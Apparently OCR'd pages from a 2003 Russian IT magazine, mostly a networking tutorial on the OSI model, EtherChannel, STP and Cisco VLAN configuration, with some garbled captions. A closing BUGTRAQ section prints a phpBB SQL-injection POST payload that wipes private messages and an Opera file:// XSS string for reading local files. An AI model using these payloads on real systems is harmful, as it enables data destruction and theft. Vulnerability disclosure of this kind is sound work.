дывается кабельное соединение. По аналогии с техноло- тизатора с концентратором или коммутатором, компью-
гией, получаемый канал также именуется EtherChannel. тера с концентратором или коммутатором.
Виртуальная ЛВС (VLAN) – группа узлов сети, тра- Внешний порт – порт коммутатора, участвующий в
фик которой, в том числе и широковещательный, на ка- организации связи с другим коммутатором.
нальном уровне полностью изолирован от других узлов Внутренний порт – порт коммутатора, используемый
сети. [1] Технология VLAN предназначена для облегчения для организации связи с абонентом сети.
процесса построения разделенных ЛВС, что предостав- Ограничение 5-4-3 – между двумя любыми узлами
ляет весьма мощный барьер на пути распространения сети может быть не более пяти сегментов и четырех по-
ошибочного трафика из одной сети в другую. вторителей. При этом только три сегмента сети могут быть
Кроссовер (crossover) – витая пара, обжатая таким нагружены. Данное ограничение накладывается на раз-
образом, что первый и третий, второй и шестой, третий и деляемые 10-мегабитные сети.
первый, шестой и второй контакты RJ-разъемов соедине-
ны между собой: Модель OSI
Это семиуровневая эталонная модель OSI (open
systems interconnection, взаимодействие открытых систем)
была предложена международной организацией по стан-
Ðèñ. 1 Êðîññîâåð. дартизации (ISO, international standard organization) про-
изводителям сетевого оборудования и сетевого программ-
Используется для соединения коммутатора с коммутато- ного обеспечения, с тем чтобы облегчить/сделать возмож-
ром, концентратора с концентратором, концентратора с ным взаимодействие продукции различных фирм-произ-
коммутатором, маршрутизатора с маршрутизатором, двух водителей. На этапе становления отрасли вычислитель-
компьютеров напрямую. ных сетей большая часть оборудования, производимого
Прямой кабель (патч-корд, straight-through) – кон- в мире, была несовместима друг с другом ни с точки зре-
такты двух RJ-разъемов соединяются согласно номерам: ния физической организации работы, ни с точки зрения
первый с первым, второй со вторым, третий с третьим, логической обработки передаваемых сигналов. Данная
шестой с шестым: модель имеет семь уровней, каждый из которых отвечает
за определенное действие.
Физический уровень – уровень, описывающий пара-
метры передаваемого сигнала, характеристики среды пе-
Ðèñ. 2. Ïàò÷-êîðä. редачи, такие как коннекторы, разъемы, кодирование, оп-

№3(4), март 2003 81


образование
ния нескольких портов коммутатора в EtherChannel. Как Увеличение числа абонентов
может показаться на первый взгляд, идея объединения Увеличение числа абонентов в сети стоит трактовать
нескольких линий в одну весьма затратна и неэффектив- двояко: во-первых, это процедура расширения сети, ее
на, т.к. при этом, с одной стороны, занимается значитель- масштабирование (добавление новых подключений,
ное количество портов коммутатора, а с другой – прихо- плат расширения, коммутаторов), а во-вторых, – управ-
дится сильнее нагружать процессор коммутатора. Одна- ление трафиком возрастающего числа абонентов.
ко очевидно, что по тем или иным причинам не всегда
возможно установить дополнительную плату расширения Масштабирование
или же новый, более производительный коммутатор. Это При проектировании сети естественно возникает воп-
может быть обусловлено финансовыми затруднениями, рос: будет ли развиваться производство, использующее
или же тем, что необходимая скорость передачи данных планируемую сеть, или нет. Иными словами, всегда сто-
еще вообще не реализована. Так, имея восемь 10-гига- ит выяснить у заказчика будущее его ЛВС. Если в сети
битных портов (в настоящее время технология 10G планируется установить простенький коммутатор с дю-
Ethernet переживает свое становление, но, тем не менее, жиной 100-мегабитных портов и подключить к нему де-
уже можно рассматривать возможность ее использова- сяток пользователей, то проблем с масштабировани-
ния в реальной жизни), можно организовать 80-гигабит- ем, скорее всего, не возникнет. Самое неприятное, что
ный канал передачи данных. С другой стороны, создание может случиться, так это необходимость установить
канала EtherChannel позволяет иметь в сети несколько од- еще один такой же коммутатор. Все, что для этого по-
новременно работающих запараллеленных линий связи, надобится – витая пара, обжатая как «кроссовер» и сам
что невозможно в иных случаях. Таким образом, решая про- коммутатор. Если же предполагается значительное рас-
блему повышения пропускной способности сети на каком- ширение сети, увеличение не только числа абонентов,
либо участке, можно решить еще и проблему резервиро- но и сервисов, предоставляемых сетью, то установкой
вания связей. При разрыве одного из каналов, образую- еще одного коммутатора ограничиться, скорее всего,
щих группу, EtherChannel не разрушается, а лишь теряет в не удастся. Разумной выглядит идея заложения перс-
пропускной способности, что, хоть и неприятно с точки зре- пективы расширения сети в проект на этапе техничес-
ния системного администратора, но не так критично с точ- кого задания. В любом случае предпочтительно исполь-
ки зрения функциональной пригодности самой ЛВС. В слу- зование модульных устройств. Они и надежнее (сгорел
чае с EtherChannel мы имеем «горячее» резервирование, один модуль – на его место, в тот же слот, ставится
в то время как используя протокол STP, мы можем рассчи- другой модуль), и гибче: понадобились порты для под-
тывать лишь на «теплое» резервирование. ключения оптоволоконных кабелей – покупайте и уста-
навливайте; нужен модуль ATM или возникла потреб-
ность в передаче голоса по сети – достаточно приобре-
сти соответствующую плату расширения, а не еще один
громоздкий шкаф.
Кроме того, покупая дополнительный коммутатор,
приходится платить за его корпус, за процессор комму-
тации, за блок питания – нести расходы, которые нико-
Ðèñ. 5. Òåõíîëîãèÿ EtherChannel â ËÂÑ. им образом не относятся к вычислительной сети, от ко-

тическая модуляция. Физическому уровню соответству- пакет, считывает адресную информацию и принимает ре-
ют такие протоколы/стандарты, как EIA/TIA-232, V.35, EIA/ шение о дальнейшей маршрутизации. [3] К протоколам се-
TIA-449, V.24, RJ45, Ethernet, 802.3, 802.5, FDDI, NRZI, NRZ, тевого уровня относятся IP, IPX, AppleTalk, DDP, ICMP.
B8ZS. [2] Транспортный уровень – уровень, отвечающий за пе-
Канальный уровень – уровень, протоколы которого редачу данных верхних уровней с той степенью надежнос-
отвечают за проверку доступности среды передачи, об- ти, которая им требуется. В модели OSI имеется 5 классов
наружение и коррекцию ошибок. [1] К протоколам каналь- сервиса предоставляемых транспортным уровнем. Эти клас-
ного уровня относятся IEEE 802.3/802.2, HDLC, Frame сы отличаются качеством услуг: срочностью, возможностью
Relay, PPP, FDDI, ATM, IEEE 802.5/802.2. восстановления прерванной связи, наличием средств муль-
Сетевой уровень – уровень, служащий для образова- типлексирования нескольких соединений между различны-
ния единой транспортной системы. Протоколы сетевого ми протоколами через общий транспортный поток, способ-
уровня, перенаправляющие данные от одной системы к дру- ностью к обнаружению и исправлению ошибок передачи,
гой, позволяют выполнить адресацию при межсетевом вза- таких как потеря, искажение и дублирование пакетов. [1] Про-
имодействии. Протоколы сетевого уровня подразделяют на токолами транспортного уровня являются SPX, TCP, UDP.
два класса: с установкой соединения и без него. Протоколы Сеансовый уровень – определяет способ начала, под-
первого класса сначала устанавливают соединение (уста- держивания и завершения сеанса связи между двумя або-
навливают маршрут следования пакетов от источника к по- нентами (собственно отсюда и происходит его название).
лучателю). Протоколы второго класса оперируют данными, Это позволяет двум приложениям синхронизировать связь
содержащими полную адресную информацию адресата. и обмениваться данными. На этом уровне обмен между
Каждое промежуточное сетевое устройство, получив такой двумя системами делится на диалоговые блоки, и обес-

82
образование
торой требуется лишь наличие свободных портов для рутизаторов и логическим разделением посредством тех-
подключения устройств и наличие определенного спек- нологии виртуальных ЛВС.
тра сервисов. Еще один аргумент в пользу модульных Особого внимания заслуживает технология вирту-
коммутаторов – отсутствие необходимости занимать альных сетей, благодаря которой можно, не прибегая к
порты коммутатора для осуществления связи с други- использованию дополнительного дорогостоящего обо-
ми коммутаторами (имея в сети двадцать коммутато- рудования, повысить производительность сети, облег-
ров, придется выделить на их взаимодействие как ми- чить процесс администрирования сети, повысить сте-
нимум тридцать восемь портов, в то время как при на- пень контроля за передаваемым по сети трафиком.
личии пяти коммутаторов, обеспечивающих аналогич-
ную (а зачастую и превосходящую) функциональность,
для обеспечения взаимодействия между ними потре- STP (протокол охватывающего дерева)
буется лишь восемь портов). Впервые протокол охватывающего дерева был предложен
В качестве примера модульного коммутатора можно компанией Digital Equipment Corporation (DEC), которая по-
привести коммутаторы Catalyst восьми-, шести-, пяти- и зднее была куплена и стала частью Compaq, компании, став-
четырехтысячной серий производства Cisco Systems. шей, в свою очередь, элементом такого гиганта, как HP.
Несколько позднее комитет IEEE выпустил собствен-
Управление трафиком ную версию протокола STP, получившую название 802.1d.
Когда сеть начинает разрастаться, либо если ЛВС из- В настоящее время обе версии STP совместимы и под-
начально имеет сложную структуру, то становится воз- держиваются всеми коммутаторами Cisco.
можным выделить независимые подразделения, кото- Основной задачей STP является предотвращение воз-
рые практически не общаются друг с другом. При этом никновения в сети петель канального уровня (на уровне мо-
компьютеры каждого подразделения транслируют в стов и коммутаторов). Службы протокола непрерывно инс-
сеть свои широковещательные пакеты, т.к. имеется пектируют ЛВС, находя при этом все существующие связи и
единый домен широковещания (broadcast domain). Ес- переводя избыточные связи в пассивное состояние.
тественно, что это не может не оказать влияния на про- Процедура избавления от избыточных связей основа-
изводительность сети, поскольку любой, даже столь не- на на выборе «корневого моста». При этом в сети может
значительный трафик приводит к увеличению нагруз- быть только один «корневой мост». Порты корневого мо-
ки, а соответственно, и к падению общей пропускной ста называются назначенными портами и функциониру-
способности. Помимо служебного трафика, существу- ют в так называемом передающем режиме: они способ-
ет еще и ошибочный трафик – пакеты, хотя и достав- ны передавать и принимать трафик.
ленные адресатам, но копии которых все еще находят- Все остальные коммутаторы в сети являются некор-
ся в сети. невыми. Часть портов некорневых коммутаторов являет-
Естественным было бы желание разбить ЛВС на логи- ся корневыми портами (это определяется затратностью
ческие фрагменты согласно циркуляции трафика. При порта, что, в свою очередь, зависит от пропускной спо-
этом компьютеры, принадлежащие к одному отделу, по- собности образуемой связи с корневым мостом), которая
падали бы в одну функциональную подгруппу. Такой эф- также находится в передающем режиме. Остальные пор-
фект может быть получен как минимум двумя способами: ты находятся в выключенном состоянии. Такой режим ра-
физическим разделением сети с использованием марш- боты называется блокированным.

печиваются основные и вспомогательные точки синхро- На сетевом уровне к началу сегмента (датаграммы), по-
низации этого обмена. [2,3] К протоколам сеансового уров- лученного с транспортного уровня, приписывается сетевой
ня относятся RPC, SQL, NFS, NetBios names, AppleTalk адрес отправителя. Наличие такой информации делает воз-
ASP, DECnet SCP. можной маршрутизацию пакетов между сетями.
Представительский уровень – уровень, определяю- На канальном уровне к полученному пакету приписыва-
щий формат передаваемых данных. Еще одной функци- ется заголовок канального уровня, содержащий преамбулу,
ей этого уровня является шифрование. [2] MAC-адрес получателя и MAC-адрес отправителя. К концу
Прикладной (программный) уровень – уровень, оп- пакета приписывается трейлер, содержащий проверочную
ределяющийся приложениями, взаимодействующими с последовательность кадра (иными словами – результат из-
приложениями других компьютеров. Примерами этого быточного цикличного кодирования), позволяющий опреде-
уровня могут служить Telnet, HTTP, FTP, WWW-браузе- лять и исправлять ошибки физического уровня.
ры, NFS, SMTP, SNMP, X.400, FATM. [2]

Приложения программного уровня генерируют поток


данных, который должен быть передан какому-либо уда-
ленному узлу. Дробление потока данных начинается на
транспортном уровне. Перед блоком передаваемых дан-
ных ставится заголовок транспортного уровня, позволя-
ющий стороне-приемнику осуществлять коррекцию дан-
ных, учет потерянных и повторяющихся сегментов. Ðèñ. 3 Èíêàïñóëÿöèÿ äàííûõ äëÿ IP-ñåòåé.

№3(4), март 2003 83


образование
Òàáëèöà 2. Êðàòêîå îïèñàíèå ðåæèìîâ ïîðòîâ.

Типичной ситуацией для портов коммутатора явля-


ется нахождение либо в состоянии блокировки, либо в
состоянии передачи. Если же в сети произошли топо-
логические изменения (обрывы или же были добавле-
ны новые коммутаторы), то все порты переходят в ре-
жим прослушивания и изучения.
Важным параметром протокола является сходимость –
Ðèñ. 6. Ðàáîòà STP-ïðîòîêîëà. время, за которое порт может перейти из режима блоки-
ровки в режим передачи. Предустановленное время кон-
Определение «корневого моста» вергенции – 50 секунд, однако оно может быть изменено,
Коммутаторы, поддерживающие STP, обмениваются ин- что не рекомендуется, но в исключительных случаях воз-
формацией, называемой Блоки Данных Протокола Мо- можно изменить и эту настройку.
ста (Bridge Protocol Data Units, BPDU). Блоки BPDU пе-
редаются посредством многоадресной рассылки и со-
держат конфигурационную информацию. Virtual LAN (виртуальные ЛВС)
Для определения корневого моста и корневых пор- Как уже упоминалось, виртуальные сети предназначены
тов используется идентификатор моста (коммутатора). для разбиения ЛВС на несколько доменов широковеща-
Этот идентификатор записывается в 8 байтах и содер- ния. Этого результата можно добиться двумя способами:
жит приоритет устройства и его MAC-адрес. По умол-
чанию приоритет всех устройств, выполняющих STP
802.1d, равен 32768. Если приоритеты обоих коммута-
торов равны, затем сравниваются их MAC-адреса. В ка-
честве корневого моста выбирается устройство с наи-
более низким приоритетом. Стоит также помнить, что
BPDU передаются по сети каждые 2 секунды (если не
назначен иной интервал оповещения).

Определение «выбранного порта»


Чтобы определить порты, которые будут использованы для
сообщения с корневым мостом, необходимо для начала
рассчитать стоимости путей. Протокол вычисляет стоимо- Ðèñ. 7. Ðàçáèåíèå ËÂÑ íà 3 øèðîêîâåùàòåëüíûõ äîìåíà áåç
èñïîëüçîâàíèÿ VLAN.
сти путей на основе пропускных способностей проходи-
мых каналов согласно приводимой ниже таблице:
Òàáëèöà 1. Òèïîâûå ñòîèìîñòè äëÿ ðàçëè÷íûõ ñåòåé Ethernet.

Режимы работы портов STP


Порты коммутатора, управляемого STP-протоколом, мо-
гут находиться в четырех различных состояниях:
Ðèñ. 8. Ðàçáèåíèå ËÂÑ íà 3 øèðîêîâåùàòåëüíûõ äîìåíà ñ
 Блокировка – в этом режиме кадры не передаются; èñïîëüçîâàíèåì VLAN.
читаются блоки BPDU. Все порты находятся в данном
состоянии, когда коммутатор включается первый раз. В обеих схемах используется маршрутизатор, т.к.
 Прослушивание – читаются блоки BPDU, чтобы убедить- коммутатор, являющийся устройством канального уров-
ся в отсутствии петель в сети перед пересылкой данных. ня, не может передавать трафик между различными
 Изучение – определяет MAC-адреса и строит таблицу сетями (будь то физически разделенные сети или же
фильтрации, однако кадров не передает. логически разделенные виртуальные сети). Ниже при-
 Передача – передает и принимает данные. водится пример конфигурирования виртуальной сети:

84
образование
Switch>enable Или…
Switch#vlan database
Switch(vlan)vlan vlan_number name vlan_name  Внешний порт коммутатора 2 не находится в VLAN1.
Switch(vlan)exit В этом случае кадр не может быть доставлен адре-
Switch#config terminal
Switch(config)interface module/number сату, поскольку коммутатор не осуществляет марш-
Switch(config-if)switchport mode access рутизации между виртуальными сетями.
Switch(config-if)switchport access vlan vlan_number
Switch(config-if)end
Или…
В результате описанных действий будет создана вир-  Перед тем как выполнен шаг 4, коммутатор 1 при-
туальная сеть с номером vlan_number и именем vlan_name. писывает к кадру заголовок, который идентифици-
После этого порт коммутатора с номером module/number рует его принадлежность к первой виртуальной сети.
будет приписан в виртуальную сеть с заданным номером В этом случае коммутатор 2, проанализировав за-
vlan_number. головок кадра, способен принять верное решение о
Технология виртуальных сетей облегчает управление перенаправлении данных в нужную VLAN, на нуж-
сетью: если какой-либо пользователь переезжает в дру- ный интерфейс.
гой офис, не меняя при этом виртуальной сети, достаточ-
но лишь включить его новый порт подключения в его ста- Сетевые коммутаторы используют третий метод –
рую виртуальную сеть. тегирование кадров. Суть тегирования заключается в
Для каждой VLAN коммутатор генерирует отдельную таб- добавлении к заголовкам каждого кадра некоей сопро-
лицу адресов. Так, если кадр был получен портом, припи- водительной информации, определяющей принадлеж-
санным к VLAN2, то поиск будет производиться в соответ- ность кадра к той или иной подсети. Второе название
ствующей таблице адресов. Когда кадр получен, адрес от- тегирования – транкинг (trunking).
правителя сверяется по адресной таблице. И если его там Оборудование Cisco Systems поддерживает две раз-
нет, он туда заносится. Также проверяется и адрес получа- новидности транкинга: ISL (Inter-Switch Link, объедине-
теля, с тем чтобы можно было принять решение о перенап- ние коммутаторов) и IEEE802.1Q. Транкинг использу-
равлении принятого кадра в верном направлении. Иными ется не только между коммутаторами, но и между мар-
словами, коммутатор работает точно также, как и в обыч- шрутизатором и коммутатором. Пусть имеется сеть,
ном режиме, за исключением того, что используются отдель- изображенная на рисунке 10.
ные адресные таблицы для каждой виртуальной сети.
В случае если используется один коммутатор, все бо-
лее или менее просто. Если же коммутаторов несколько,
то их надо каким-то образом объединить, что непросто.
На рисунке 9 приведена ситуация, когда на двух комму-
таторах построено две виртуальные сети.

Ðèñ. 10. Ìàðøðóòèçàöèÿ ìåæäó âèðòóàëüíûìè ËÂÑ.

Тогда для этого случая маршрутизатор можно на-


строить таким образом, что, заняв только один его порт,
Ðèñ. 9. Äâà êîììóòàòîðà, äâà VLAN. можно обеспечить маршрутизацию между тремя вир-
туальными сетями:
Положим, что компьютер из VLAN1 первого коммута-
тора передает кадр компьютеру из VLAN1 второго ком- Router>enable
Router#config terminal
мутатора. Передача кадра будет сопровождаться следу- Router(config)interface fastethernet 0.1
ющими шагами: Router(config-if)ip address 1.1.1.1 255.255.255.0
 Стороной отправителем будет сгенерирован кадр с не- Router(config-if)encapsulation isl 1
Router(config)interface fastethernet 0.2
которым адресом получателя (пусть это будет MAC Router(config-if)ip address 1.1.2.1 255.255.255.0
Router(config-if)encapsulation isl 2
0200.1111.0002). Router(config)interface fastethernet 0.3
 Коммутатор 1 получает этот кадр. Router(config-if)ip address 1.1.3.1 255.255.255.0
 Коммутатор сличает MAC-адрес полученного кадра по Router(config-if)encapsulation isl 3
Router(config-if)^Z
таблице адресов первой VLAN. Router#copy running config start config
 Коммутатор пересылает кадр на свой внешний порт.
 Коммутатор 2 получает кадр на своем внешнем порту. Данный пример конфигурирования 100-мегабитно-
го (Fast Ethernet) порта маршрутизатора приводит к
Далее возможны три альтернативных продолжения. тому, что на интерфейсе создается три подынтерфей-
 Коммутатор 2 имеет свой внешний порт в VLAN1. В са (команды interface fastethernet 0.*) с инкапсуляцией
этом случае он находит в адресной таблице соответ- ISL (encapsulation isl *, в этой команде указывается но-
ствующий MAC-адрес и пересылает кадр получателю. мер виртуальной сети, кадры из которой приходят на

№3(4), март 2003 85


образование
конфигурируемый подынтерфейс) и некоторым ip-ад- Òàáëèöà 4. Ðåæèìû VTP.
ресом (ip address адрес-маска).
Процедура настройки транкинга для портов комму-
татора несколько отлична от приведенной последова-
тельности команд для маршрутизатора:

Switch>enable
Switch#config terminal
Switch(config)interface module/number
Switch(config-if)switchport mode trunk
<on|off|desirable|auto|nonegotiate>
Switch(config-if)switchport trunk encapsulation
<isl|dot1q>
Switch(config-if)switchport trunk allowed vlan add|remove
vlan_list
Switch(config-if)end ЛВС, мосты и коммутаторы
Наиболее широко распространенной сетевой техноло-
В результате порт коммутатора с номером module/number гией в настоящее время является технология Ethernet.
перейдет в режим транкинга и будет обслуживать трафик Поэтому эта часть будет посвящена обсуждению базо-
виртуальных сетей, указанных в списке vlan_list. вых принципов работы этой технологии, а также уст-
Несколько ранее упоминалось о транк-протоколе ройств, используемых при построении сетей Ethernet.
IEEE802.1Q. Этот протокол отличается от ISL только Для того чтобы полнее понять суть Ethernet, стоит
тем, какой заголовок добавляется к кадру. Кроме этих обратиться к таким архаичным вещам, как специфика-
двух методов инкапсуляции существуют еще 802.10 и ции 10Base2 и 10Base5. Эти спецификации определя-
LANE (LAN Emulation). ли физический уровень раннего стандарта Ethernet. В
Òàáëèöà 3. Ìåòîäû òåãèðîâàíèÿ. этих сетях не было ни концентраторов, ни коммутато-
ров, ни патч-панелей – были лишь сегменты коаксиаль-
ного кабеля, соединявшие одно сетевое устройство с
другим.
Вследствие того что это была единственная шина,
только один электрический сигнал мог распространять-
ся по сети в каждый момент времени. Если же случа-
лось, что в сеть было послано несколько сигналов, то
Дополнительной особенностью использования вир- они накладывались друг на друга и переставали быть
туальных сетей является VTP – протокол транкинга вир- распознаваемыми.
туальных сетей. Этот протокол облегчает администри- Неудивительно, что был разработан способ переда-
рование виртуальных сетей, позволяя настраивать чи данных, учитывающий эту неприятную особенность –
свойства VLAN единожды, а не для каждого коммута- в противном случае пользы от таких сетей не было бы
тора отдельно. Этот протокол распределяет и синхро- вовсе. Алгоритм, известный как CSMA/CD (множествен-
низирует идентифицирующую информацию о виртуаль- ный доступ с контролем несущей и с определением стол-
ных сетях по всей коммутируемой сети. Все настройки кновений), определял порядок доступа к среде переда-
делаются для одного коммутатора, называемого VTP- чи. В упрощенном виде алгоритм доступа к среде выгля-
сервером, и затем они транслируются по всему VTP- дит примерно так:
домену.  Устройство, имеющее кадры для передачи, прослу-
Всего существует три режима протокола VTP: шивает сеть на предмет ее занятости.
 Режим сервера (server mode) – серверы VTP имеют  Если сеть свободна, отправитель начинает передачу.
полный контроль над созданием и изменением вир-  Во время процесса передачи отправитель продол-
туальных сетей в пределах своего домена. По умол- жает прослушивать сеть, чтобы удостовериться в от-
чанию коммутаторы находятся в режиме сервера. сутствии столкновений.
Для каждого домена необходимо иметь хотя бы один  Если во время передачи произошла коллизия, пере-
сервер VTP. дающая сторона случайным образом генерирует ин-
 Режим клиента (client mode) – VTP-клиенты не по- тервал ожидания, по истечении которого повторяет
зволяют администратору создавать, удалять, изме- первую операцию.
нять VLAN. Коммутаторы, находящиеся в этом ре-
жиме ожидают информацию, приходящую с серве- Протокол CSMA/CD решает значительное число про-
ра и соответственно ей меняют свои настройки. блем, однако его использование делает сеть малоэф-
 Прозрачный режим (transparent mode) – находясь в фективной при большом количестве пользователей. Две
этом режиме, коммутатор не передает данных о сво- наиболее негативные особенности протокола заключа-
их VLAN, и не синхронизирует свои настройки со- ются в том, что:
гласно приходящей с серверов информации. В этом  Все столкнувшиеся кадры уничтожаются, и их при-
режиме на коммутаторе могут быть созданы вирту- ходится пересылать повторно. Это приводит к росту
альные сети, видимые исключительно им. задержек в сети.

86
образование
 Задержка растет также и для станций, ожидающих пра-  Сетевые устройства не тратят времени на ожидание
ва на передачу. Поскольку при возрастании количе- освобождения среды передачи.
ства участников обмена данными по сети трафик сети  Фактически можно достичь 20 Мб/с, учитывая воз-
насыщается, то и время ожидания для каждой стан- можность одновременной двунаправленной переда-
ции растет. чи данных.

Разработка спецификации 10BaseT решило часть Òàáëèöà 5. Íåêîòîðûå îñîáåííîñòè òåõíîëîãèè Ethernet.
проблем, связанных с использованием предыдущих вер-
сий стандарта. Одним из преимуществ этой технологии
стала возможность использования телефонного кабеля,
который значительно проще в обращении и дешевле, не-
жели коаксиальный кабель. Кроме того, использование
концентраторов привело к повышению надежности сети,
т.к. обрыв одного луча приводил к отключению только
одной рабочей станции, в то время как обрыв коакси-
ального сегмента полностью выводил сеть из строя. Кон-
центратор представляет собой многопортовый повтори-
тель и развивает концепцию 10Base2 и 10Base5. При
этом проблема столкновений остается нерешенной. По-
скольку все устройства сети имеют равные права на пе-
редачу данных и на полосу пропускания сети, подобные
сети называются разделяемыми. Такова краткая история первых двенадцати лет техно-
Несмотря на то что концентраторы решили часть про- логии Ethernet.
блем, связанных с прокладкой кабельной системы и на-
дежностью сети, проблема падения производительности Сетевая адресация
при росте числа подключений осталась очень острой. Адресация в вычислительных сетях позволяет оперировать
Проблема усугублялась тем, что разделяемые сети пред- с отдельными устройствами либо с их группами. Unicast-ад-
ставляли собой единый домен коллизий, т.к. передавае- рес определяет адрес сетевого адаптера одного устройства,
мый сигнал ретранслируется всем устройствам сети, за подключенного к сети. Для идентификации друг друга стан-
исключением узла-отправителя. ция-отправитель и станция-адресат используют именно эти
Со временем для решения проблем, связанных с ис- адреса. (Сам термин Unicast-адрес используется для аль-
пользованием алгоритма CSMA/CD были разработаны тернативы термину «широковещательному адрес» и «груп-
коммутаторы. Эти устройства не создают единой разде- повой адрес»). Комиссия IEEE определяет формат и прави-
ляемой шины – они работают с каждым своим портом, ла построения сетевого адреса. Согласно этим требовани-
как с отдельной шиной. Кроме того, коммутаторы исполь- ям каждый сетевой адаптер имеет уникальный MAC-адрес
зуют встроенную память для хранения приходящих кад- (адрес контроля доступа к среде). Производители встраива-
ров. Подобная буферизация также помогает предотвра- ют MAC-адреса в сетевые карты обычно в модуле ROM-па-
тить столкновения: так, если один компьютер сети пере- мяти. Первая половина MAC-адреса идентифицирует фир-
дает широковещательный пакет, а другой просто пытает- му-производителя. Эта часть кода, присваиваемая комис-
ся переслать пакет какому-либо узлу, то коммутатор мо- сией IEEE каждому производителю, называется уникальным
жет задержать в своем буфере широковещательное со- организационным идентификатором (OUI). Вторую полови-
общение, предотвратив тем самым коллизию. Возвраща- ну MAC-адреса присваивает сам производитель. При этом
ясь к истории, коммутаторы 10BaseT привнесли адреса- все присваиваемые номера уникальны, т.е. ранее не исполь-
цию канального уровня, которая помогает избежать сете- зовались. Адреса, полученные таким способом, называют
вых коллизий. Другими словами – если к порту подклю- еще универсальными или врезанными.
чено не более одного устройства, то столкновений в сети Групповые адреса идентифицируют более чем одно
не будет. Подводя некий итог сказанному, можно прийти сетевое устройство. Различается три типа таких адресов:
к выводу, что при отсутствии столкновений, отпадает не-  Широковещательный адрес – наиболее часто исполь-
обходимость в той части алгоритма, которая отвечает за зуемый класс адресов. Широковещательный адрес
их распознавание и предупреждение, а соответственно и имеет значение FFFF.FFFF.FFFF (hex). Он означает, что
полудуплексная передача более не актуальна. Таким об- сообщение предназначается всем узлам сети.
разом, коммутаторы, у которых одному порту соответству-  Множественный адрес – используется в сетях Ethernet
ет не более одного сетевого устройства, допускают пол- и FDDI и описывает принадлежность кадра некоторой
нодуплексный режим, т.е. одновременный прием и пере- группе сетевых устройств. Этот тип адреса устанав-
дачу кадров. Применение коммутаторов дает следующие ливается программно и имеет вид 0110.5xxx.xxxx. При
преимущества: таком адресе сетевой адаптер будет принимать кад-
 Не происходит коллизий, а соответственно нет необ- ры с адресом назначения от 0110.5000.0000 до
ходимости в повторной трансляции утерянных по этой 0110.5FFF.FFFF. Такая MAC-адресация используется
причине кадров. совместно с протоколом IGMP и IP-multicast.

№3(4), март 2003 87


образование
 Функциональный адрес – применяется только в сетях Fast Ethernet в значительной степени сохраняет чер-
Token Ring. Используется для идентификации одного ты своего предшественника: используется метод дос-
или нескольких интерфейсов, предоставляющих те или тупа CSMA/CD, который может быть упразднен при пол-
иные сервисы. Например, адрес С000.0000.0001 ис- нодуплексном режиме передачи. В настоящее время су-
пользуется устройством, работающем в режиме Актив- ществует несколько вариантов кабельных систем для
ного Монитора. этой технологии: экранированная и неэкранированная
витая пара, многомодовое и одномодовое оптоволок-
Сетевое кадрирование но. Кроме того, используются и концентраторы, и ком-
Ниже приведены различные типы кадров: мутаторы, хотя коммутаторы все сильнее вытесняют
менее производительные концентраторы. Отличитель-
ными от стандартного Ethernet особенностями являют-
ся более высокая пропускная способность и возмож-
ность автоматического выбора скорости – 10/100 Мб/с
и режима передачи – полнодуплексный/полудуплексный
режимы.
Gigabit Ethernet также сохраняет черты своих более
медленных предшественников, разве что использование
концентраторов для подобных сетей практически нон-
сенс, несмотря на их наличие. Отличительными особен-
ностями этой технологии являются также используемые
кабели и методы кодирования передаваемых сигналов.
Òàáëèöà 7. Ñòàíäàðòû Ethernet.

Ðèñ. 11. Ôîðìàòû êàäðîâ.

* - áåç ó÷åòà ïîâòîðèòåëåé


Òàáëèöà 6. Ïîëÿ êàäðîâ. ^ - îò ñåòåâîãî óñòðîéñòâà äî êîíöåíòðàòîðà/êîììóòàòîðà
~ - ïîëóäóïëåêñíàÿ/ïîëíîäóïëåêñíàÿ ïåðåäà÷à.

Список литературы.
[1] Олифер, Олифер. Компьютерные сети. Принципы,
технологии, протоколы: Учебник. – Питер – Санкт-Пе-
тербург, 2001.
[2] Odom. W. CCNA Exam 640-607 Certification Guide. –
Cisco Press – Indianapolis, 2002.
[3] Леинванд А., Пински Б. Конфигурирование марш-
рутизаторов Cisco, / перевод с англ. Голубченко А.А. –
2-е издание Вильямс – Москва, 2001.
[4] Еланский. Д. Империя Cisco – Системный админис-
тратор, №2, – Москва, 2003. – c. 16-19.
[5] Lammle T. CCNA Study Guide.– 2nd Edition, SYBEX –
Fast Ethernet и Gigabit Ethernet San Francisco, 2000.
Эти две технологии, появившиеся на основе Ethernet,
позволяют достичь значительно более высоких скорос-
тей передачи. Fast Ethernet находит свое применение в
настольных системах, в то время как Gigabit Ethernet
чаще используется для обеспечения связей между ком-
мутаторами или серверами.

88
BUGTRAQ
SQL Injection в phpBB Недостаток в обработке изображений
phpBB – популярная доска объявлений для UNIX- и Windows- в Opera позволяет обращаться
систем. phpBB-пользователь может посылать приватные со- к локальным файлам
общения другим пользователям. Обнаруженная уязвимость При исследовании отображения браузером Opera отдель-
позволяет пользователю удалить текст всех приватных со- ных изображений обнаружено, что Opera не выполняет
общений, сохраненных в системе. форматирование представленного URL. Opera автомати-
Функция для удаления приватных сообщений уязвима чески кодирует большинство символов в URL, но почему-
к SQL-инъекции. Если мы представляем данные, в кото- то не кодирует URL к локальным файлам (file:// protocol) и
рых мы хотим удалить приватное сообщение с номером поэтому уязвима к канонической форме XSS:
‘1) OR 1=1 #’, текст всех сообщений будет удален.
file://path/to/image.jpg?">Arbitrary HTML here
Сообщения хранятся в двух таблицах, и SQL-инъек-
ция будет воздействовать только на одну из них, так что И чтобы атакующему было проще эксплуатировать об-
будут удалены все тела сообщений, а темы и метаданные наруженную уязвимость, Opera обеспечила простой способ
будут удалены, если они принадлежат текущему пользо- обращения к собственному инсталляционному каталогу –
вателю. Это означает, что темы удаленных сообщений все file://localhost/. Так, вместо того, чтобы искать заданные по
еще можно обнаружить в папках других пользователей. умолчанию изображения в OS, атакующий может просто со-
Когда пользователь нажимает на такое удаленное сооб- слаться на file://localhost/images/file.gif – одно из немногих
щение, оно будет переадресовано назад к папке. изображений, поставляемых с Opera по умолчанию, и на-
Вы можете эксплуатировать это, отправляя (POST) сле- слаждаться следующими возможностями:
дующее значение к privmsg.php?folder=inbox*sid = [SID]:  Читать любой файл на системе пользователя.
 Читать содержание каталогов на файловой системе
mode="" пользователя.
delete="true"
mark[]="1) OR 1=1 #"  Читать почтовые сообщения, написанные в M2 – почто-
confirm="Yes" вой программе Opera.
 И много чего еще.
Текущее значение SID можно увидеть в URL-полях,
если вы вошли в систему с отключенными куки. Пример:
Уязвимость обнаружена в phpBB 2.0.3 и более ранние
open("file://localhost/images/file.gif?\"><script>
версии. Уязвимость устранена в phpBB 2.0.4. alert(location.href);</script>","","");

Переполнение буфера в Locator service DoS против «Антивируса Касперского»


